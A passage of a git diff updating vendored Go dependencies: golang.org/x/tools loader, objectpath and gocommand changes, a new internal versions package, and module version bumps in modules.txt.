`/\.\.\.`) + `(/\.\.\.)?` - } - re = strings.ReplaceAll(re, `\.\.\.`, `[^`+vendorChar+`]*`) - - reg := regexp.MustCompile(`^` + re + `$`) - - return func(name string) bool { - if strings.Contains(name, vendorChar) { - return false - } - return reg.MatchString(replaceVendor(name, vendorChar)) - } -} - -// replaceVendor returns the result of replacing -// non-trailing vendor path elements in x with repl. -func replaceVendor(x, repl string) string { - if !strings.Contains(x, "vendor") { - return x - } - elem := strings.Split(x, "/") - for i := 0; i < len(elem)-1; i++ { - if elem[i] == "vendor" { - elem[i] = repl - } - } - return strings.Join(elem, "/") -} diff --git a/vendor/golang.org/x/tools/go/packages/packages.go b/vendor/golang.org/x/tools/go/packages/packages.go index ece0e7c603..bd79efc1aa 100644 --- a/vendor/golang.org/x/tools/go/packages/packages.go +++ b/vendor/golang.org/x/tools/go/packages/packages.go @@ -29,6 +29,7 @@ import ( "golang.org/x/tools/internal/packagesinternal" "golang.org/x/tools/internal/typeparams" "golang.org/x/tools/internal/typesinternal" + "golang.org/x/tools/internal/versions" ) // A LoadMode controls the amount of detail to return when loading. @@ -258,31 +259,52 @@ type driverResponse struct { // proceeding with further analysis. The PrintErrors function is // provided for convenient display of all errors. func Load(cfg *Config, patterns ...string) ([]*Package, error) { - l := newLoader(cfg) - response, err := defaultDriver(&l.Config, patterns...) + ld := newLoader(cfg) + response, external, err := defaultDriver(&ld.Config, patterns...) if err != nil { return nil, err } - l.sizes = types.SizesFor(response.Compiler, response.Arch) - return l.refine(response) + + ld.sizes = types.SizesFor(response.Compiler, response.Arch) + if ld.sizes == nil && ld.Config.Mode&(NeedTypes|NeedTypesSizes|NeedTypesInfo) != 0 { + // Type size information is needed but unavailable. + if external { + // An external driver may fail to populate the Compiler/GOARCH fields, + // especially since they are relatively new (see #63700). + // Provide a sensible fallback in this case. + ld.sizes = types.SizesFor("gc", runtime.GOARCH) + if ld.sizes == nil { // gccgo-only arch + ld.sizes = types.SizesFor("gc", "amd64") + } + } else { + // Go list should never fail to deliver accurate size information. + // Reject the whole Load since the error is the same for every package. + return nil, fmt.Errorf("can't determine type sizes for compiler %q on GOARCH %q", + response.Compiler, response.Arch) + } + } + + return ld.refine(response) } // defaultDriver is a driver that implements go/packages' fallback behavior. // It will try to request to an external driver, if one exists. If there's // no external driver, or the driver returns a response with NotHandled set, // defaultDriver will fall back to the go list driver. -func defaultDriver(cfg *Config, patterns ...string) (*driverResponse, error) { - driver := findExternalDriver(cfg) - if driver == nil { - driver = goListDriver - } - response, err := driver(cfg, patterns...) - if err != nil { - return response, err - } else if response.NotHandled { - return goListDriver(cfg, patterns...) +// The boolean result indicates that an external driver handled the request. +func defaultDriver(cfg *Config, patterns ...string) (*driverResponse, bool, error) { + if driver := findExternalDriver(cfg); driver != nil { + response, err := driver(cfg, patterns...) + if err != nil { + return nil, false, err + } else if !response.NotHandled { + return response, true, nil + } + // (fall through) } - return response, nil + + response, err := goListDriver(cfg, patterns...) + return response, false, err } // A Package describes a loaded Go package. @@ -411,12 +433,6 @@ func init() { packagesinternal.GetDepsErrors = func(p interface{}) []*packagesinternal.PackageError { return p.(*Package).depsErrors } - packagesinternal.GetGoCmdRunner = func(config interface{}) *gocommand.Runner { - return config.(*Config).gocmdRunner - } - packagesinternal.SetGoCmdRunner = func(config interface{}, runner *gocommand.Runner) { - config.(*Config).gocmdRunner = runner - } packagesinternal.SetModFile = func(config interface{}, value string) { config.(*Config).modFile = value } @@ -553,7 +569,7 @@ type loaderPackage struct { type loader struct { pkgs map[string]*loaderPackage Config - sizes types.Sizes + sizes types.Sizes // non-nil if needed by mode parseCache map[string]*parseValue parseCacheMu sync.Mutex exportMu sync.Mutex // enforces mutual exclusion of exportdata operations @@ -678,39 +694,38 @@ func (ld *loader) refine(response *driverResponse) ([]*Package, error) { } } - // Materialize the import graph. - - const ( - white = 0 // new - grey = 1 // in progress - black = 2 // complete - ) - - // visit traverses the import graph, depth-first, - // and materializes the graph as Packages.Imports. - // - // Valid imports are saved in the Packages.Import map. - // Invalid imports (cycles and missing nodes) are saved in the importErrors map. - // Thus, even in the presence of both kinds of errors, the Import graph remains a DAG. - // - // visit returns whether the package needs src or has a transitive - // dependency on a package that does. These are the only packages - // for which we load source code. - var stack []*loaderPackage - var visit func(lpkg *loaderPackage) bool - var srcPkgs []*loaderPackage - visit = func(lpkg *loaderPackage) bool { - switch lpkg.color { - case black: - return lpkg.needsrc - case grey: - panic("internal error: grey node") - } - lpkg.color = grey - stack = append(stack, lpkg) // push - stubs := lpkg.Imports // the structure form has only stubs with the ID in the Imports - // If NeedImports isn't set, the imports fields will all be zeroed out. - if ld.Mode&NeedImports != 0 { + if ld.Mode&NeedImports != 0 { + // Materialize the import graph. + + const ( + white = 0 // new + grey = 1 // in progress + black = 2 // complete + ) + + // visit traverses the import graph, depth-first, + // and materializes the graph as Packages.Imports. + // + // Valid imports are saved in the Packages.Import map. + // Invalid imports (cycles and missing nodes) are saved in the importErrors map. + // Thus, even in the presence of both kinds of errors, + // the Import graph remains a DAG. + // + // visit returns whether the package needs src or has a transitive + // dependency on a package that does. These are the only packages + // for which we load source code. + var stack []*loaderPackage + var visit func(lpkg *loaderPackage) bool + visit = func(lpkg *loaderPackage) bool { + switch lpkg.color { + case black: + return lpkg.needsrc + case grey: + panic("internal error: grey node") + } + lpkg.color = grey + stack = append(stack, lpkg) // push + stubs := lpkg.Imports // the structure form has only stubs with the ID in the Imports lpkg.Imports = make(map[string]*Package, len(stubs)) for importPath, ipkg := range stubs { var importErr error @@ -734,40 +749,39 @@ func (ld *loader) refine(response *driverResponse) ([]*Package, error) { } lpkg.Imports[importPath] = imp.Package } - } - if lpkg.needsrc { - srcPkgs = append(srcPkgs, lpkg) - } - if ld.Mode&NeedTypesSizes != 0 { - lpkg.TypesSizes = ld.sizes - } - stack = stack[:len(stack)-1] // pop - lpkg.color = black - return lpkg.needsrc - } + // Complete type information is required for the + // immediate dependencies of each source package. + if lpkg.needsrc && ld.Mode&NeedTypes != 0 { + for _, ipkg := range lpkg.Imports { + ld.pkgs[ipkg.ID].needtypes = true + } + } - if ld.Mode&NeedImports == 0 { - // We do this to drop the stub import packages that we are not even going to try to resolve. - for _, lpkg := range initial { - lpkg.Imports = nil + // NeedTypeSizes causes TypeSizes to be set even + // on packages for which types aren't needed. + if ld.Mode&NeedTypesSizes != 0 { + lpkg.TypesSizes = ld.sizes + } + stack = stack[:len(stack)-1] // pop + lpkg.color = black + + return lpkg.needsrc } - } else { + // For each initial package, create its import DAG. for _, lpkg := range initial { visit(lpkg) } - } - if ld.Mode&NeedImports != 0 && ld.Mode&NeedTypes != 0 { - for _, lpkg := range srcPkgs { - // Complete type information is required for the - // immediate dependencies of each source package. - for _, ipkg := range lpkg.Imports { - imp := ld.pkgs[ipkg.ID] - imp.needtypes = true - } + + } else { + // !NeedImports: drop the stub (ID-only) import packages + // that we are not even going to try to resolve. + for _, lpkg := range initial { + lpkg.Imports = nil } } + // Load type data and syntax if needed, starting at // the initial packages (roots of the import DAG). if ld.Mode&NeedTypes != 0 || ld.Mode&NeedSyntax != 0 { @@ -1005,6 +1019,7 @@ func (ld *loader) loadPackage(lpkg *loaderPackage) { Selections: make(map[*ast.SelectorExpr]*types.Selection), } typeparams.InitInstanceInfo(lpkg.TypesInfo) + versions.InitFileVersions(lpkg.TypesInfo) lpkg.TypesSizes = ld.sizes importer := importerFunc(func(path string) (*types.Package, error) { @@ -1042,7 +1057,7 @@ func (ld *loader) loadPackage(lpkg *loaderPackage) { IgnoreFuncBodies: ld.Mode&NeedDeps == 0 && !lpkg.initial, Error: appendError, - Sizes: ld.sizes, + Sizes: ld.sizes, // may be nil } if lpkg.Module != nil && lpkg.Module.GoVersion != "" { typesinternal.SetGoVersion(tc, "go"+lpkg.Module.GoVersion) diff --git a/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go b/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go index fa5834baf7..e742ecc464 100644 --- a/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go +++ b/vendor/golang.org/x/tools/go/types/objectpath/objectpath.go @@ -26,13 +26,10 @@ package objectpath import ( "fmt" "go/types" - "sort" "strconv" "strings" - _ "unsafe" "golang.org/x/tools/internal/typeparams" - "golang.org/x/tools/internal/typesinternal" ) // A Path is an opaque name that identifies a types.Object @@ -123,20 +120,7 @@ func For(obj types.Object) (Path, error) { // An Encoder amortizes the cost of encoding the paths of multiple objects. // The zero value of an Encoder is ready to use. type Encoder struct { - scopeMemo map[*types.Scope][]types.Object // memoization of scopeObjects - namedMethodsMemo map[*types.Named][]*types.Func // memoization of namedMethods() - skipMethodSorting bool -} - -// Expose back doors so that gopls can avoid method sorting, which can dominate -// analysis on certain repositories. -// -// TODO(golang/go#61443): remove this. -func init() { - typesinternal.SkipEncoderMethodSorting = func(enc interface{}) { - enc.(*Encoder).skipMethodSorting = true - } - typesinternal.ObjectpathObject = object + scopeMemo map[*types.Scope][]types.Object // memoization of scopeObjects } // For returns the path to an object relative to its package, @@ -328,31 +312,18 @@ func (enc *Encoder) For(obj types.Object) (Path, error) { // Inspect declared methods of defined types. if T, ok := o.Type().(*types.Named); ok { path = append(path, opType) - if !enc.skipMethodSorting { - // Note that method index here is always with respect - // to canonical ordering of methods, regardless of how - // they appear in the underlying type. - for i, m := range enc.namedMethods(T) { - path2 := appendOpArg(path, opMethod, i) - if m == obj { - return Path(path2), nil // found declared method - } - if r := find(obj, m.Type(), append(path2, opType), nil); r != nil { - return Path(r), nil - } + // The method index here is always with respect + // to the underlying go/types data structures, + // which ultimately derives from source order + // and must be preserved by export data. + for i := 0; i < T.NumMethods(); i++ { + m := T.Method(i) + path2 := appendOpArg(path, opMethod, i) + if m == obj { + return Path(path2), nil // found declared method } - } else { - // This branch must match the logic in the branch above, using go/types - // APIs without sorting. - for i := 0; i < T.NumMethods(); i++ { - m := T.Method(i) - path2 := appendOpArg(path, opMethod, i) - if m == obj { - return Path(path2), nil // found declared method - } - if r := find(obj, m.Type(), append(path2, opType), nil); r != nil { - return Path(r), nil - } + if r := find(obj, m.Type(), append(path2, opType), nil); r != nil { + return Path(r), nil } } } @@ -448,22 +419,13 @@ func (enc *Encoder) concreteMethod(meth *types.Func) (Path, bool) { path = append(path, name...) path = append(path, opType) - if !enc.skipMethodSorting { - for i, m := range enc.namedMethods(named) { - if m == meth { - path = appendOpArg(path, opMethod, i) - return Path(path), true - } - } - } else { - // This branch must match the logic of the branch above, using go/types - // APIs without sorting. - for i := 0; i < named.NumMethods(); i++ { - m := named.Method(i) - if m == meth { - path = appendOpArg(path, opMethod, i) - return Path(path), true - } + // Method indices are w.r.t. the go/types data structures, + // ultimately deriving from source order, + // which is preserved by export data. + for i := 0; i < named.NumMethods(); i++ { + if named.Method(i) == meth { + path = appendOpArg(path, opMethod, i) + return Path(path), true } } @@ -576,12 +538,7 @@ func findTypeParam(obj types.Object, list *typeparams.TypeParamList, path []byte // Object returns the object denoted by path p within the package pkg. func Object(pkg *types.Package, p Path) (types.Object, error) { - return object(pkg, string(p), false) -} - -// Note: the skipMethodSorting parameter must match the value of -// Encoder.skipMethodSorting used during encoding. -func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.Object, error) { + pathstr := string(p) if pathstr == "" { return nil, fmt.Errorf("empty path") } @@ -747,12 +704,7 @@ func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.O if index >= t.NumMethods() { return nil, fmt.Errorf("method index %d out of range [0-%d)", index, t.NumMethods()) } - if skipMethodSorting { - obj = t.Method(index) - } else { - methods := namedMethods(t) // (unmemoized) - obj = methods[index] // Id-ordered - } + obj = t.Method(index) default: return nil, fmt.Errorf("cannot apply %q to %s (got %T, want interface or named)", code, t, t) @@ -779,33 +731,6 @@ func object(pkg *types.Package, pathstr string, skipMethodSorting bool) (types.O return obj, nil // success } -// namedMethods returns the methods of a Named type in ascending Id order. -func namedMethods(named *types.Named) []*types.Func { - methods := make([]*types.Func, named.NumMethods()) - for i := range methods { - methods[i] = named.Method(i) - } - sort.Slice(methods, func(i, j int) bool { - return methods[i].Id() < methods[j].Id() - }) - return methods -} - -// namedMethods is a memoization of the namedMethods function. Callers must not modify the result. -func (enc *Encoder) namedMethods(named *types.Named) []*types.Func { - m := enc.namedMethodsMemo - if m == nil { - m = make(map[*types.Named][]*types.Func) - enc.namedMethodsMemo = m - } - methods, ok := m[named] - if !ok { - methods = namedMethods(named) // allocates and sorts - m[named] = methods - } - return methods -} - // scopeObjects is a memoization of scope objects. // Callers must not modify the result. func (enc *Encoder) scopeObjects(scope *types.Scope) []types.Object { diff --git a/vendor/golang.org/x/tools/internal/gocommand/invoke.go b/vendor/golang.org/x/tools/internal/gocommand/invoke.go index 53cf66da01..55312522dc 100644 --- a/vendor/golang.org/x/tools/internal/gocommand/invoke.go +++ b/vendor/golang.org/x/tools/internal/gocommand/invoke.go @@ -13,6 +13,7 @@ import ( "io" "log" "os" + "os/exec" "reflect" "regexp" "runtime" @@ -21,8 +22,6 @@ import ( "sync" "time" - exec "golang.org/x/sys/execabs" - "golang.org/x/tools/internal/event" "golang.org/x/tools/internal/event/keys" "golang.org/x/tools/internal/event/label" @@ -85,6 +84,7 @@ func (runner *Runner) RunPiped(ctx context.Context, inv Invocation, stdout, stde // RunRaw runs the invocation, serializing requests only if they fight over // go.mod changes. +// Postcondition: both error results have same nilness. func (runner *Runner) RunRaw(ctx context.Context, inv Invocation) (*bytes.Buffer, *bytes.Buffer, error, error) { ctx, done := event.Start(ctx, "gocommand.Runner.RunRaw", invLabels(inv)...) defer done() @@ -95,23 +95,24 @@ func (runner *Runner) RunRaw(ctx context.Context, inv Invocation) (*bytes.Buffer stdout, stderr, friendlyErr, err := runner.runConcurrent(ctx, inv) // If we encounter a load concurrency error, we need to retry serially. - if friendlyErr == nil || !modConcurrencyError.MatchString(friendlyErr.Error()) { - return stdout, stderr, friendlyErr, err + if friendlyErr != nil && modConcurrencyError.MatchString(friendlyErr.Error()) { + event.Error(ctx, "Load concurrency error, will retry serially", err) + + // Run serially by calling runPiped. + stdout.Reset() + stderr.Reset() + friendlyErr, err = runner.runPiped(ctx, inv, stdout, stderr) } - event.Error(ctx, "Load concurrency error, will retry serially", err) - // Run serially by calling runPiped. - stdout.Reset() - stderr.Reset() - friendlyErr, err = runner.runPiped(ctx, inv, stdout, stderr) return stdout, stderr, friendlyErr, err } +// Postcondition: both error results have same nilness. func (runner *Runner) runConcurrent(ctx context.Context, inv Invocation) (*bytes.Buffer, *bytes.Buffer, error, error) { // Wait for 1 worker to become available. select { case <-ctx.Done(): - return nil, nil, nil, ctx.Err() + return nil, nil, ctx.Err(), ctx.Err() case runner.inFlight <- struct{}{}: defer func() { <-runner.inFlight }() } @@ -121,6 +122,7 @@ func (runner *Runner) runConcurrent(ctx context.Context, inv Invocation) (*bytes return stdout, stderr, friendlyErr, err } +// Postcondition: both error results have same nilness. func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stderr io.Writer) (error, error) { // Make sure the runner is always initialized. runner.initialize() @@ -129,7 +131,7 @@ func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stde // runPiped commands. select { case <-ctx.Done(): - return nil, ctx.Err() + return ctx.Err(), ctx.Err() case runner.serialized <- struct{}{}: defer func() { <-runner.serialized }() } @@ -139,7 +141,7 @@ func (runner *Runner) runPiped(ctx context.Context, inv Invocation, stdout, stde for i := 0; i < maxInFlight; i++ { select { case <-ctx.Done(): - return nil, ctx.Err() + return ctx.Err(), ctx.Err() case runner.inFlight <- struct{}{}: // Make sure we always "return" any workers we took. defer func() { <-runner.inFlight }() @@ -172,6 +174,7 @@ type Invocation struct { Logf func(format string, args ...interface{}) } +// Postcondition: both error results have same nilness. func (i *Invocation) runWithFriendlyError(ctx context.Context, stdout, stderr io.Writer) (friendlyError error, rawError error) { rawError = i.run(ctx, stdout, stderr) if rawError != nil { diff --git a/vendor/golang.org/x/tools/internal/packagesinternal/packages.go b/vendor/golang.org/x/tools/internal/packagesinternal/packages.go index d9950b1f0b..44719de173 100644 --- a/vendor/golang.org/x/tools/internal/packagesinternal/packages.go +++ b/vendor/golang.org/x/tools/internal/packagesinternal/packages.go @@ -5,10 +5,6 @@ // Package packagesinternal exposes internal-only fields from go/packages. package packagesinternal -import ( - "golang.org/x/tools/internal/gocommand" -) - var GetForTest = func(p interface{}) string { return "" } var GetDepsErrors = func(p interface{}) []*PackageError { return nil } @@ -18,10 +14,6 @@ type PackageError struct { Err string // the error itself } -var GetGoCmdRunner = func(config interface{}) *gocommand.Runner { return nil } - -var SetGoCmdRunner = func(config interface{}, runner *gocommand.Runner) {} - var TypecheckCgo int var DepsErrors int // must be set as a LoadMode to call GetDepsErrors var ForTest int // must be set as a LoadMode to call GetForTest diff --git a/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go b/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go deleted file mode 100644 index 5e96e89557..0000000000 --- a/vendor/golang.org/x/tools/internal/typesinternal/objectpath.go +++ /dev/null @@ -1,24 +0,0 @@ -// Copyright 2023 The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package typesinternal - -import "go/types" - -// This file contains back doors that allow gopls to avoid method sorting when -// using the objectpath package. -// -// This is performance-critical in certain repositories, but changing the -// behavior of the objectpath package is still being discussed in -// golang/go#61443. If we decide to remove the sorting in objectpath we can -// simply delete these back doors. Otherwise, we should add a new API to -// objectpath that allows controlling the sorting. - -// SkipEncoderMethodSorting marks enc (which must be an *objectpath.Encoder) as -// not requiring sorted methods. -var SkipEncoderMethodSorting func(enc interface{}) - -// ObjectpathObject is like objectpath.Object, but allows suppressing method -// sorting. -var ObjectpathObject func(pkg *types.Package, p string, skipMethodSorting bool) (types.Object, error) diff --git a/vendor/golang.org/x/tools/internal/versions/gover.go b/vendor/golang.org/x/tools/internal/versions/gover.go new file mode 100644 index 0000000000..bbabcd22e9 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/gover.go @@ -0,0 +1,172 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +// This is a fork of internal/gover for use by x/tools until +// go1.21 and earlier are no longer supported by x/tools. + +package versions + +import "strings" + +// A gover is a parsed Go gover: major[.Minor[.Patch]][kind[pre]] +// The numbers are the original decimal strings to avoid integer overflows +// and since there is very little actual math. (Probably overflow doesn't matter in practice, +// but at the time this code was written, there was an existing test that used +// go1.99999999999, which does not fit in an int on 32-bit platforms. +// The "big decimal" representation avoids the problem entirely.) +type gover struct { + major string // decimal + minor string // decimal or "" + patch string // decimal or "" + kind string // "", "alpha", "beta", "rc" + pre string // decimal or "" +} + +// compare returns -1, 0, or +1 depending on whether +// x < y, x == y, or x > y, interpreted as toolchain versions. +// The versions x and y must not begin with a "go" prefix: just "1.21" not "go1.21". +// Malformed versions compare less than well-formed versions and equal to each other. +// The language version "1.21" compares less than the release candidate and eventual releases "1.21rc1" and "1.21.0". +func compare(x, y string) int { + vx := parse(x) + vy := parse(y) + + if c := cmpInt(vx.major, vy.major); c != 0 { + return c + } + if c := cmpInt(vx.minor, vy.minor); c != 0 { + return c + } + if c := cmpInt(vx.patch, vy.patch); c != 0 { + return c + } + if c := strings.Compare(vx.kind, vy.kind); c != 0 { // "" < alpha < beta < rc + return c + } + if c := cmpInt(vx.pre, vy.pre); c != 0 { + return c + } + return 0 +} + +// lang returns the Go language version. For example, lang("1.2.3") == "1.2". +func lang(x string) string { + v := parse(x) + if v.minor == "" || v.major == "1" && v.minor == "0" { + return v.major + } + return v.major + "." + v.minor +} + +// isValid reports whether the version x is valid. +func isValid(x string) bool { + return parse(x) != gover{} +} + +// parse parses the Go version string x into a version. +// It returns the zero version if x is malformed. +func parse(x string) gover { + var v gover + + // Parse major version. + var ok bool + v.major, x, ok = cutInt(x) + if !ok { + return gover{} + } + if x == "" { + // Interpret "1" as "1.0.0". + v.minor = "0" + v.patch = "0" + return v + } + + // Parse . before minor version. + if x[0] != '.' { + return gover{} + } + + // Parse minor version. + v.minor, x, ok = cutInt(x[1:]) + if !ok { + return gover{} + } + if x == "" { + // Patch missing is same as "0" for older versions. + // Starting in Go 1.21, patch missing is different from explicit .0. + if cmpInt(v.minor, "21") < 0 { + v.patch = "0" + } + return v + } + + // Parse patch if present. + if x[0] == '.' { + v.patch, x, ok = cutInt(x[1:]) + if !ok || x != "" { + // Note that we are disallowing prereleases (alpha, beta, rc) for patch releases here (x != ""). + // Allowing them would be a bit confusing because we already have: + // 1.21 < 1.21rc1 + // But a prerelease of a patch would have the opposite effect: + // 1.21.3rc1 < 1.21.3 + // We've never needed them before, so let's not start now. + return gover{} + } + return v + } + + // Parse prerelease. + i := 0 + for i < len(x) && (x[i] < '0' || '9' < x[i]) { + if x[i] < 'a' || 'z' < x[i] { + return gover{} + } + i++ + } + if i == 0 { + return gover{} + } + v.kind, x = x[:i], x[i:] + if x == "" { + return v + } + v.pre, x, ok = cutInt(x) + if !ok || x != "" { + return gover{} + } + + return v +} + +// cutInt scans the leading decimal number at the start of x to an integer +// and returns that value and the rest of the string. +func cutInt(x string) (n, rest string, ok bool) { + i := 0 + for i < len(x) && '0' <= x[i] && x[i] <= '9' { + i++ + } + if i == 0 || x[0] == '0' && i != 1 { // no digits or unnecessary leading zero + return "", "", false + } + return x[:i], x[i:], true +} + +// cmpInt returns cmp.Compare(x, y) interpreting x and y as decimal numbers. +// (Copied from golang.org/x/mod/semver's compareInt.) +func cmpInt(x, y string) int { + if x == y { + return 0 + } + if len(x) < len(y) { + return -1 + } + if len(x) > len(y) { + return +1 + } + if x < y { + return -1 + } else { + return +1 + } +} diff --git a/vendor/golang.org/x/tools/internal/versions/types.go b/vendor/golang.org/x/tools/internal/versions/types.go new file mode 100644 index 0000000000..562eef21fa --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/types.go @@ -0,0 +1,19 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +package versions + +import ( + "go/types" +) + +// GoVersion returns the Go version of the type package. +// It returns zero if no version can be determined. +func GoVersion(pkg *types.Package) string { + // TODO(taking): x/tools can call GoVersion() [from 1.21] after 1.25. + if pkg, ok := any(pkg).(interface{ GoVersion() string }); ok { + return pkg.GoVersion() + } + return "" +} diff --git a/vendor/golang.org/x/tools/internal/versions/types_go121.go b/vendor/golang.org/x/tools/internal/versions/types_go121.go new file mode 100644 index 0000000000..a7b79207ae --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/types_go121.go @@ -0,0 +1,20 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.22 +// +build !go1.22 + +package versions + +import ( + "go/ast" + "go/types" +) + +// FileVersions always reports the a file's Go version as the +// zero version at this Go version. +func FileVersions(info *types.Info, file *ast.File) string { return "" } + +// InitFileVersions is a noop at this Go version. +func InitFileVersions(*types.Info) {} diff --git a/vendor/golang.org/x/tools/internal/versions/types_go122.go b/vendor/golang.org/x/tools/internal/versions/types_go122.go new file mode 100644 index 0000000000..7b9ba89a82 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/types_go122.go @@ -0,0 +1,24 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.22 +// +build go1.22 + +package versions + +import ( + "go/ast" + "go/types" +) + +// FileVersions maps a file to the file's semantic Go version. +// The reported version is the zero version if a version cannot be determined. +func FileVersions(info *types.Info, file *ast.File) string { + return info.FileVersions[file] +} + +// InitFileVersions initializes info to record Go versions for Go files. +func InitFileVersions(info *types.Info) { + info.FileVersions = make(map[*ast.File]string) +} diff --git a/vendor/golang.org/x/tools/internal/versions/versions_go121.go b/vendor/golang.org/x/tools/internal/versions/versions_go121.go new file mode 100644 index 0000000000..cf4a7d0360 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/versions_go121.go @@ -0,0 +1,49 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build !go1.22 +// +build !go1.22 + +package versions + +// Lang returns the Go language version for version x. +// If x is not a valid version, Lang returns the empty string. +// For example: +// +// Lang("go1.21rc2") = "go1.21" +// Lang("go1.21.2") = "go1.21" +// Lang("go1.21") = "go1.21" +// Lang("go1") = "go1" +// Lang("bad") = "" +// Lang("1.21") = "" +func Lang(x string) string { + v := lang(stripGo(x)) + if v == "" { + return "" + } + return x[:2+len(v)] // "go"+v without allocation +} + +// Compare returns -1, 0, or +1 depending on whether +// x < y, x == y, or x > y, interpreted as Go versions. +// The versions x and y must begin with a "go" prefix: "go1.21" not "1.21". +// Invalid versions, including the empty string, compare less than +// valid versions and equal to each other. +// The language version "go1.21" compares less than the +// release candidate and eventual releases "go1.21rc1" and "go1.21.0". +// Custom toolchain suffixes are ignored during comparison: +// "go1.21.0" and "go1.21.0-bigcorp" are equal. +func Compare(x, y string) int { return compare(stripGo(x), stripGo(y)) } + +// IsValid reports whether the version x is valid. +func IsValid(x string) bool { return isValid(stripGo(x)) } + +// stripGo converts from a "go1.21" version to a "1.21" version. +// If v does not start with "go", stripGo returns the empty string (a known invalid version). +func stripGo(v string) string { + if len(v) < 2 || v[:2] != "go" { + return "" + } + return v[2:] +} diff --git a/vendor/golang.org/x/tools/internal/versions/versions_go122.go b/vendor/golang.org/x/tools/internal/versions/versions_go122.go new file mode 100644 index 0000000000..c1c1814b28 --- /dev/null +++ b/vendor/golang.org/x/tools/internal/versions/versions_go122.go @@ -0,0 +1,38 @@ +// Copyright 2023 The Go Authors. All rights reserved. +// Use of this source code is governed by a BSD-style +// license that can be found in the LICENSE file. + +//go:build go1.22 +// +build go1.22 + +package versions + +import ( + "go/version" +) + +// Lang returns the Go language version for version x. +// If x is not a valid version, Lang returns the empty string. +// For example: +// +// Lang("go1.21rc2") = "go1.21" +// Lang("go1.21.2") = "go1.21" +// Lang("go1.21") = "go1.21" +// Lang("go1") = "go1" +// Lang("bad") = "" +// Lang("1.21") = "" +func Lang(x string) string { return version.Lang(x) } + +// Compare returns -1, 0, or +1 depending on whether +// x < y, x == y, or x > y, interpreted as Go versions. +// The versions x and y must begin with a "go" prefix: "go1.21" not "1.21". +// Invalid versions, including the empty string, compare less than +// valid versions and equal to each other. +// The language version "go1.21" compares less than the +// release candidate and eventual releases "go1.21rc1" and "go1.21.0". +// Custom toolchain suffixes are ignored during comparison: +// "go1.21.0" and "go1.21.0-bigcorp" are equal. +func Compare(x, y string) int { return version.Compare(x, y) } + +// IsValid reports whether the version x is valid. +func IsValid(x string) bool { return version.IsValid(x) } diff --git a/vendor/modules.txt b/vendor/modules.txt index fd2ad5ced9..d4d429cf5f 100644 --- a/vendor/modules.txt +++ b/vendor/modules.txt @@ -518,13 +518,16 @@ github.com/moloch--/asciicast # github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945 ## explicit; go 1.17 github.com/moloch--/memmod -# github.com/ncruces/go-sqlite3 v0.7.2 -## explicit; go 1.19 +# github.com/ncruces/go-sqlite3 v0.8.4 +## explicit; go 1.21 github.com/ncruces/go-sqlite3 github.com/ncruces/go-sqlite3/driver github.com/ncruces/go-sqlite3/embed github.com/ncruces/go-sqlite3/internal/util github.com/ncruces/go-sqlite3/vfs +# github.com/ncruces/go-sqlite3/gormlite v0.8.4 +## explicit; go 1.21 +github.com/ncruces/go-sqlite3/gormlite # github.com/ncruces/julianday v0.1.5 ## explicit; go 1.17 github.com/ncruces/julianday @@ -541,11 +544,14 @@ github.com/pkg/errors # github.com/pmezard/go-difflib v1.0.0 ## explicit github.com/pmezard/go-difflib/difflib -# github.com/reeflective/console v0.1.6 -## explicit; go 1.20 +# github.com/psanford/memfs v0.0.0-20230130182539-4dbf7e3e865e +## explicit; go 1.16 +github.com/psanford/memfs +# github.com/reeflective/console v0.1.15 +## explicit; go 1.21 github.com/reeflective/console github.com/reeflective/console/commands/readline -# github.com/reeflective/readline v1.0.11 +# github.com/reeflective/readline v1.0.13 ## explicit; go 1.21 github.com/reeflective/readline github.com/reeflective/readline/inputrc @@ -560,13 +566,28 @@ github.com/reeflective/readline/internal/macro github.com/reeflective/readline/internal/strutil github.com/reeflective/readline/internal/term github.com/reeflective/readline/internal/ui +# github.com/reeflective/team v0.1.2 +## explicit; go 1.21 +github.com/reeflective/team +github.com/reeflective/team/client +github.com/reeflective/team/client/commands +github.com/reeflective/team/internal/assets +github.com/reeflective/team/internal/certs +github.com/reeflective/team/internal/command +github.com/reeflective/team/internal/db +github.com/reeflective/team/internal/db/wasmsqlite +github.com/reeflective/team/internal/log +github.com/reeflective/team/internal/systemd +github.com/reeflective/team/internal/version +github.com/reeflective/team/server +github.com/reeflective/team/server/commands # github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec ## explicit; go 1.12 github.com/remyoudompheng/bigfft # github.com/rivo/uniseg v0.4.4 ## explicit; go 1.18 github.com/rivo/uniseg -# github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.25.2-0.20230602202234-e8d757e458ca +# github.com/rsteube/carapace v0.47.5 ## explicit; go 1.15 github.com/rsteube/carapace github.com/rsteube/carapace/internal/cache @@ -583,18 +604,21 @@ github.com/rsteube/carapace/internal/shell/elvish github.com/rsteube/carapace/internal/shell/export github.com/rsteube/carapace/internal/shell/fish github.com/rsteube/carapace/internal/shell/ion -github.com/rsteube/carapace/internal/shell/library github.com/rsteube/carapace/internal/shell/nushell 